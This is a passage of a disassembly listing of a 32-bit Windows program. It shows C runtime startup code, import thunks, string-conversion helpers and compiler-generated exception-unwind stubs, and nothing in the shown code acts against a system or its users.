jnb short loc_4318AB
cmp cl, 20h
jnb short loc_4318A0
shrd eax, edx, cl
sar edx, cl
retn
; ---------------------------------------------------------------------------
loc_4318A0: ; CODE XREF: sub_431890+8j
mov eax, edx
sar edx, 1Fh
and cl, 1Fh
sar eax, cl
retn
; ---------------------------------------------------------------------------
loc_4318AB: ; CODE XREF: sub_431890+3j
sar edx, 1Fh
mov eax, edx
retn
sub_431890 endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4318B2 proc near ; CODE XREF: sub_421ACF+29p
; TEUm:00421C2Fp ...
jmp dword_433204
sub_4318B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4318B8 proc near ; CODE XREF: sub_422296+B1p
; sub_422296+FAp ...
jmp dword_4331FC
sub_4318B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4318BE proc near ; CODE XREF: sub_422296+5Ap
; sub_42239F+Bp ...
jmp dword_4331F8
sub_4318BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4318C4 proc near ; CODE XREF: sub_4227A4+1E8p
; sub_42A0B0+CAp ...
jmp dword_4331C0
sub_4318C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4318CA proc near ; CODE XREF: sub_422A1E+5p
; sub_422BB1+5p ...
jmp dword_4331BC
sub_4318CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4318D0 proc near ; CODE XREF: sub_422FB0+E8p
; sub_4230F8+125p ...
jmp dword_4331B8
sub_4318D0 endp
; =============== S U B R O U T I N E =======================================
sub_4318D6 proc near ; CODE XREF: sub_431902+4p
arg_0 = dword ptr 4
cmp ds:dword_43BD80, 0FFFFFFFFh
jnz short loc_4318EB
push [esp+arg_0]
call dword_433220 ; _onexit
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4318EB: ; CODE XREF: sub_4318D6+7j
push offset dword_43BD7C
push offset dword_43BD80
push [esp+8+arg_0]
call sub_431A7E ; __dllonexit
add esp, 0Ch
retn
sub_4318D6 endp
; =============== S U B R O U T I N E =======================================
sub_431902 proc near ; CODE XREF: sub_42850E+8p
; sub_431B21+21p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4318D6
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_431902 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431914 proc near ; CODE XREF: sub_42EB64+11p
; sub_4301DC+4B8p
jmp dword_43320C
sub_431914 endp
; ---------------------------------------------------------------------------
loc_43191A: ; CODE XREF: TEUm:0043EB04j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434AD8
push offset sub_431AA6
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 68h
push ebx
push esi
push edi
mov [ebp-18h], esp
xor ebx, ebx
mov [ebp-4], ebx
push 2
call dword_43324C ; __set_app_type
pop ecx
or ds:dword_43BD7C, 0FFFFFFFFh
or ds:dword_43BD80, 0FFFFFFFFh
call dword_433248 ; __p__fmode
mov ecx, ds:dword_43BD64
mov [eax], ecx
call dword_433244 ; __p__commode
mov ecx, ds:dword_43BD60
mov [eax], ecx
mov eax, dword_433240
mov eax, [eax]
mov ds:dword_43BD78, eax
call nullsub_1
cmp ds:dword_437C40, ebx
jnz short loc_43199D
push offset sub_431AA2
call dword_43323C ; __setusermatherr
pop ecx
loc_43199D: ; CODE XREF: TEUm:0043198Fj
call sub_431A90
push offset dword_437014
push offset dword_437010
call sub_431A8A ; _initterm
mov eax, ds:dword_43BD5C
mov [ebp-6Ch], eax
lea eax, [ebp-6Ch]
push eax
push ds:dword_43BD58
lea eax, [ebp-64h]
push eax
lea eax, [ebp-70h]
push eax
lea eax, [ebp-60h]
push eax
call dword_433230 ; __getmainargs
push offset dword_43700C
push offset dword_437000
call sub_431A8A ; _initterm
add esp, 24h
mov eax, dword_433234
mov esi, [eax]
mov [ebp-74h], esi
cmp byte ptr [esi], 22h
jnz short loc_431A30
loc_4319F6: ; CODE XREF: TEUm:00431A02j
inc esi
mov [ebp-74h], esi
mov al, [esi]
cmp al, bl
jz short loc_431A04
cmp al, 22h
jnz short loc_4319F6
loc_431A04: ; CODE XREF: TEUm:004319FEj
cmp byte ptr [esi], 22h
jnz short loc_431A0D
loc_431A09: ; CODE XREF: TEUm:00431A15j
inc esi
mov [ebp-74h], esi
loc_431A0D: ; CODE XREF: TEUm:00431A07j
; TEUm:00431A33j
mov al, [esi]
cmp al, bl
jz short loc_431A17
cmp al, 20h
jbe short loc_431A09
loc_431A17: ; CODE XREF: TEUm:00431A11j
mov [ebp-30h], ebx
lea eax, [ebp-5Ch]
push eax
call dword_433084 ; GetStartupInfoA
test byte ptr [ebp-30h], 1
jz short loc_431A3B
movzx eax, word ptr [ebp-2Ch]
jmp short loc_431A3E
; ---------------------------------------------------------------------------
loc_431A30: ; CODE XREF: TEUm:004319F4j
; TEUm:00431A39j
cmp byte ptr [esi], 20h
jbe short loc_431A0D
inc esi
mov [ebp-74h], esi
jmp short loc_431A30
; ---------------------------------------------------------------------------
loc_431A3B: ; CODE XREF: TEUm:00431A28j
push 0Ah
pop eax
loc_431A3E: ; CODE XREF: TEUm:00431A2Ej
push eax
push esi
push ebx
push ebx
call dword_433088 ; GetModuleHandleA
push eax
call sub_429672
mov [ebp-68h], eax
push eax
call dword_43322C ; exit
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-78h], ecx
push eax
push ecx
call sub_431A84 ; _XcptFilter
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-78h]
call dword_433224 ; _exit
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431A78 proc near ; CODE XREF: sub_43182F+3p
jmp dword_433218
sub_431A78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431A7E proc near ; CODE XREF: sub_4318D6+23p
jmp dword_43321C
sub_431A7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431A84 proc near ; CODE XREF: TEUm:00431A64p
jmp dword_433228
sub_431A84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431A8A proc near ; CODE XREF: TEUm:004319ACp
; TEUm:004319DFp
jmp dword_433238
sub_431A8A endp
; =============== S U B R O U T I N E =======================================
sub_431A90 proc near ; CODE XREF: TEUm:loc_43199Dp
push 30000h
push 10000h
call sub_431AAC ; _controlfp
pop ecx
pop ecx
retn
sub_431A90 endp
; =============== S U B R O U T I N E =======================================
sub_431AA2 proc near ; DATA XREF: TEUm:00431991o
xor eax, eax
retn
sub_431AA2 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431AA6 proc near ; DATA XREF: TEUm:00431924o
jmp dword_433250
sub_431AA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431AAC proc near ; CODE XREF: sub_431A90+Ap
jmp dword_433258
sub_431AAC endp
; =============== S U B R O U T I N E =======================================
sub_431AB2 proc near ; CODE XREF: sub_423489+4Bp
; sub_423489+A4p ...
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_431CA4
retn 4
sub_431AB2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431AC0 proc near ; CODE XREF: sub_42430E+20p
; sub_4243E7+20p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
and [ebp+var_4], 0
test eax, eax
jz short loc_431B12
mov ecx, [eax]
lea edx, [ebp+arg_4]
push edx
push offset dword_437C48
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_431B12
mov eax, [ebp+arg_4]
push esi
push [ebp+arg_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov esi, eax
mov eax, [ebp+arg_4]
push eax
mov ecx, [eax]
call dword ptr [ecx+8]
test esi, esi
pop esi
jnz short loc_431B12
lea eax, [ebp+var_4]
push eax
push 0
call dword_43327C
test eax, eax
jz short loc_431B12
and [ebp+var_4], 0
loc_431B12: ; CODE XREF: sub_431AC0+Dj
; sub_431AC0+1Fj ...
push [ebp+var_4]
push [ebp+arg_0]
call sub_431CA4
leave
retn 0Ch
sub_431AC0 endp
; =============== S U B R O U T I N E =======================================
sub_431B21 proc near ; DATA XREF: TEUm:00437008o
; FUNCTION CHUNK AT 00431B3D SIZE 0000000C BYTES
call sub_431B2B
jmp loc_431B3D
sub_431B21 endp
; =============== S U B R O U T I N E =======================================
sub_431B2B proc near ; CODE XREF: sub_431B21p
push 0Ah
push 80020004h
mov ecx, offset dword_43BD68
call sub_431C48
retn
sub_431B2B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_431B21
loc_431B3D: ; CODE XREF: sub_431B21+5j
push offset sub_431B49
call sub_431902
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_431B21
; =============== S U B R O U T I N E =======================================
sub_431B49 proc near ; DATA XREF: sub_431B21:loc_431B3Do
push offset dword_43BD68
call dword_433264
test eax, eax
jge short locret_431B5E
push eax
call sub_431AB2
locret_431B5E: ; CODE XREF: sub_431B49+Dj
retn
sub_431B49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431B5F proc near ; CODE XREF: sub_4241E4+12p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
push esi
push edi
jnz short loc_431B6E
xor eax, eax
jmp short loc_431BCB
; ---------------------------------------------------------------------------
loc_431B6E: ; CODE XREF: sub_431B5F+9j
push [ebp+arg_0]
call dword_4330B4 ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_431860
mov edi, esp
push esi
push edi
push 0FFFFFFFFh
push [ebp+arg_0]
and word ptr [edi], 0
push 0
push 0
call dword_433068 ; MultiByteToWideChar
test eax, eax
jnz short loc_431BC4
mov esi, dword_433028
call esi ; RtlGetLastWin32Error
test eax, eax
jz short loc_431BBC
call esi ; RtlGetLastWin32Error
and eax, 0FFFFh
or eax, 80070000h
jmp short loc_431BBE
; ---------------------------------------------------------------------------
loc_431BBC: ; CODE XREF: sub_431B5F+4Dj
xor eax, eax
loc_431BBE: ; CODE XREF: sub_431B5F+5Bj
push eax
call sub_431AB2
loc_431BC4: ; CODE XREF: sub_431B5F+41j
push edi
call dword_433280
loc_431BCB: ; CODE XREF: sub_431B5F+Dj
lea esp, [ebp-8]
pop edi
pop esi
pop ebp
retn 4
sub_431B5F endp
; =============== S U B R O U T I N E =======================================
sub_431BD4 proc near ; CODE XREF: sub_424244+Bp
arg_0 = dword ptr 4
push ebx
push ebp
mov ebp, [esp+8+arg_0]
xor ebx, ebx
cmp ebp, ebx
jnz short loc_431BE4
xor eax, eax
jmp short loc_431C43
; ---------------------------------------------------------------------------
loc_431BE4: ; CODE XREF: sub_431BD4+Aj
push esi
push edi
push ebp
call sub_431CF6 ; wcslen
lea edi, [eax+eax+2]
push edi
call sub_431784
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jnz short loc_431C08
push 8007000Eh
call sub_431AB2
loc_431C08: ; CODE XREF: sub_431BD4+28j
push ebx
push ebx
push edi
push esi
push 0FFFFFFFFh
push ebp
push ebx
push ebx
mov [esi], bl
call dword_433064 ; WideCharToMultiByte
test eax, eax
jnz short loc_431C3F
mov edi, dword_433028
call edi ; RtlGetLastWin32Error
test eax, eax
jz short loc_431C37
call edi ; RtlGetLastWin32Error
and eax, 0FFFFh
or eax, 80070000h
jmp short loc_431C39
; ---------------------------------------------------------------------------
loc_431C37: ; CODE XREF: sub_431BD4+53j
xor eax, eax
loc_431C39: ; CODE XREF: sub_431BD4+61j
push eax
call sub_431AB2
loc_431C3F: ; CODE XREF: sub_431BD4+47j
mov eax, esi
pop edi
pop esi
loc_431C43: ; CODE XREF: sub_431BD4+Ej
pop ebp
pop ebx
retn 4
sub_431BD4 endp
; =============== S U B R O U T I N E =======================================
sub_431C48 proc near ; CODE XREF: sub_431B2B+Cp
arg_0 = dword ptr 4
arg_4 = word ptr 8
push esi
push edi
mov di, [esp+8+arg_4]
mov esi, ecx
cmp di, 3
jz short loc_431C6D
cmp di, 0Ah
jz short loc_431C73
cmp di, 0Bh
jz short loc_431C6D
push 80070057h
call sub_431AB2
loc_431C6D: ; CODE XREF: sub_431C48+Dj
; sub_431C48+19j
cmp di, 0Ah
jnz short loc_431C7A
loc_431C73: ; CODE XREF: sub_431C48+13j
mov word ptr [esi], 0Ah
jmp short loc_431C96
; ---------------------------------------------------------------------------
loc_431C7A: ; CODE XREF: sub_431C48+29j
cmp di, 0Bh
jnz short loc_431C91
mov eax, [esp+8+arg_0]
mov [esi], di
neg eax
sbb eax, eax
mov [esi+8], ax
jmp short loc_431C9D
; ---------------------------------------------------------------------------
loc_431C91: ; CODE XREF: sub_431C48+36j
mov word ptr [esi], 3
loc_431C96: ; CODE XREF: sub_431C48+30j
mov eax, [esp+8+arg_0]
mov [esi+8], eax
loc_431C9D: ; CODE XREF: sub_431C48+47j
mov eax, esi
pop edi
pop esi
retn 8
sub_431C48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431CA4 proc near ; CODE XREF: sub_431AB2+6p
; sub_431AC0+58p
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
lea ecx, [ebp+var_10]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_429C60
lea eax, [ebp+var_10]
push offset dword_435E20
push eax
call sub_43184C ; _CxxThrowException
mov eax, [esp+18h+var_14]
push esi
mov esi, ecx
mov ecx, [eax+4]
mov [esi+4], ecx
mov eax, [eax+8]
and dword ptr [esi+0Ch], 0
mov [esi+8], eax
test eax, eax
mov dword ptr [esi], offset off_434AE8
jz short loc_431CEF
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_431CEF: ; CODE XREF: sub_431CA4+43j
mov eax, esi
pop esi
retn 4
sub_431CA4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_431CF6 proc near ; CODE XREF: sub_431BD4+13p
jmp dword_4331E8
sub_431CF6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
SEH_421109 proc near ; DATA XREF: sub_421109+5o
mov eax, offset dword_434B80
jmp sub_4317FC
SEH_421109 endp
; =============== S U B R O U T I N E =======================================
sub_431D0A proc near ; DATA XREF: TEUm:004211C7o
mov eax, offset dword_434BD8
jmp sub_4317FC
sub_431D0A endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-70h]
call dword_433150
retn
; ---------------------------------------------------------------------------
loc_431D1E: ; DATA XREF: TEUm:00421280o
mov eax, offset dword_434C30
jmp sub_4317FC
; =============== S U B R O U T I N E =======================================
SEH_42146A proc near ; DATA XREF: sub_42146A+5o
mov eax, offset dword_434C90
jmp sub_4317FC
SEH_42146A endp
; =============== S U B R O U T I N E =======================================
sub_431D32 proc near ; DATA XREF: TEUm:004215ECo
mov eax, offset dword_434CE8
jmp sub_4317FC
sub_431D32 endp
; =============== S U B R O U T I N E =======================================
sub_431D3C proc near ; DATA XREF: TEUm:00421832o
mov eax, offset dword_434D40
jmp sub_4317FC
sub_431D3C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
SEH_421C92 proc near ; DATA XREF: sub_421C92+5o
mov eax, offset dword_434DD0
jmp sub_4317FC
SEH_421C92 endp
; =============== S U B R O U T I N E =======================================
sub_431D5A proc near ; DATA XREF: TEUm:00434E54o
lea ecx, [ebp+0Ch]
call sub_4317A2
retn
sub_431D5A endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
call sub_4317A2
retn
; ---------------------------------------------------------------------------
mov eax, [ebp-30h]
and eax, 1
test eax, eax
jz locret_431D8B
mov ecx, [ebp+8]
call sub_4317A2
locret_431D8B: ; CODE XREF: TEUm:00431D7Dj
retn
; ---------------------------------------------------------------------------
loc_431D8C: ; DATA XREF: TEUm:00422510o
mov eax, offset dword_434E28
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-1Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_431DA0: ; DATA XREF: TEUm:00434E94o
mov ecx, [ebp-1Ch]
add ecx, 4
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 8
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 10h
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 14h
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 1Ch
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 20h
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 24h
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-1Ch]
add ecx, 202Ch
jmp sub_4226C7
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_431E0B: ; DATA XREF: sub_422A1Eo
mov eax, offset dword_434E68
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_431E20: ; DATA XREF: TEUm:00434F0Co
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10h
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 14h
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1Ch
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 20h
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 24h
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_431E6D: ; DATA XREF: sub_422BB1o
mov eax, offset dword_434EE0
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
loc_431E78: ; DATA XREF: sub_422ECAo
mov eax, offset dword_434F40
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
loc_431E84: ; DATA XREF: TEUm:00434FC4o
lea ecx, [ebp+0Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_431EAA
mov ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
locret_431EAA: ; CODE XREF: TEUm:00431E9Cj
retn
; ---------------------------------------------------------------------------
loc_431EAB: ; DATA XREF: sub_422FB0o
mov eax, offset dword_434F98
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
loc_431EB8: ; DATA XREF: TEUm:00434FFCo
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp+0Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_431EE6
mov ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
locret_431EE6: ; CODE XREF: TEUm:00431ED8j
retn
; ---------------------------------------------------------------------------
loc_431EE7: ; DATA XREF: sub_4230F8o
mov eax, offset dword_434FD0
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+8]
jmp sub_4264D2
; ---------------------------------------------------------------------------
loc_431EFC: ; DATA XREF: TEUm:0043503Co
lea ecx, [ebp-14h]
jmp sub_4264D2
; ---------------------------------------------------------------------------
lea ecx, [ebp-0C0h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-0D0h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
mov ecx, [ebp-0C8h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-100h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-0C4h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
mov ecx, [ebp-20h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-140h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-4Ch]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-120h]
jmp sub_4266D6
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4264D2
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_4264D2
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A4h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-0CCh]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-0ACh]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-0D8h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-0B4h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-0D4h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-0BCh]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E0h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-38h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-48h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-58h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-68h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-78h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-88h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-98h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A8h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
loc_43202D: ; DATA XREF: sub_423489o
mov eax, offset dword_435010
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
push dword ptr [ebp-10h]
call sub_43177E
pop ecx
retn
; ---------------------------------------------------------------------------
loc_432042: ; DATA XREF: sub_424152o
mov eax, offset dword_435130
jmp sub_4317FC
; ---------------------------------------------------------------------------
push dword ptr [ebp-10h]
call sub_43177E
pop ecx
retn
; ---------------------------------------------------------------------------
loc_432056: ; DATA XREF: sub_424348o
mov eax, offset dword_435158
jmp sub_4317FC
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
jmp sub_4264D2
; ---------------------------------------------------------------------------
loc_432068: ; DATA XREF: TEUm:004351ACo
lea ecx, [ebp-10h]
jmp sub_4264D2
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp sub_4241A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_4264D2
; ---------------------------------------------------------------------------
loc_432080: ; DATA XREF: sub_424485o
mov eax, offset dword_435180
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-14h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_432094: ; DATA XREF: TEUm:004351ECo
lea ecx, [ebp-38h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp+0Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-58h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-30h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-34h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp+0Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-98h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
mov ecx, [ebp+0Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-78h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
loc_4320FF: ; DATA XREF: sub_424606o
mov eax, offset dword_4351C0
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_432114: ; DATA XREF: TEUm:0043527Co
push dword ptr [ebp-14h]
call sub_43177E
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43211E: ; DATA XREF: sub_424AAFo
mov eax, offset dword_435250
jmp sub_4317FC
; ---------------------------------------------------------------------------
lea ecx, [ebp-34h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_432130: ; DATA XREF: TEUm:004352ACo
lea ecx, [ebp-30h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-44h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-0C8h]
jmp sub_4266D6
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A8h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-88h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_432189: ; DATA XREF: sub_424B41o
mov eax, offset dword_435280
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+0Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_43219C: ; DATA XREF: TEUm:00435324o
lea ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-20h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-44h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_4321E4: ; DATA XREF: sub_425353o
mov eax, offset dword_4352F8
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 10h
loc_4321F0: ; DATA XREF: TEUm:00435394o
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-40h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
and eax, 1
test eax, eax
jz locret_43222E
mov ecx, [ebp+8]
jmp sub_4317A2
; ---------------------------------------------------------------------------
locret_43222E: ; CODE XREF: TEUm:00432220j
retn
; ---------------------------------------------------------------------------
loc_43222F: ; DATA XREF: sub_42552Ao
mov eax, offset dword_435368
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
loc_432244: ; DATA XREF: TEUm:004353E4o
lea ecx, [ebp-34h]
jmp sub_4266D6
; ---------------------------------------------------------------------------
loc_43224C: ; DATA XREF: sub_425642o
mov eax, offset dword_4353B8
jmp sub_4317FC
; ---------------------------------------------------------------------------
align 4
loc_432258: ; DATA XREF: TEUm:00435414o
lea ecx, [ebp-10h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
mov ecx, [ebp-18h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-40h]
jmp sub_426ABF
; ---------------------------------------------------------------------------
lea ecx, [ebp-14h]
jmp sub_4317A2
; ---------------------------------------------------------------------------
lea ecx, [ebp-18h]
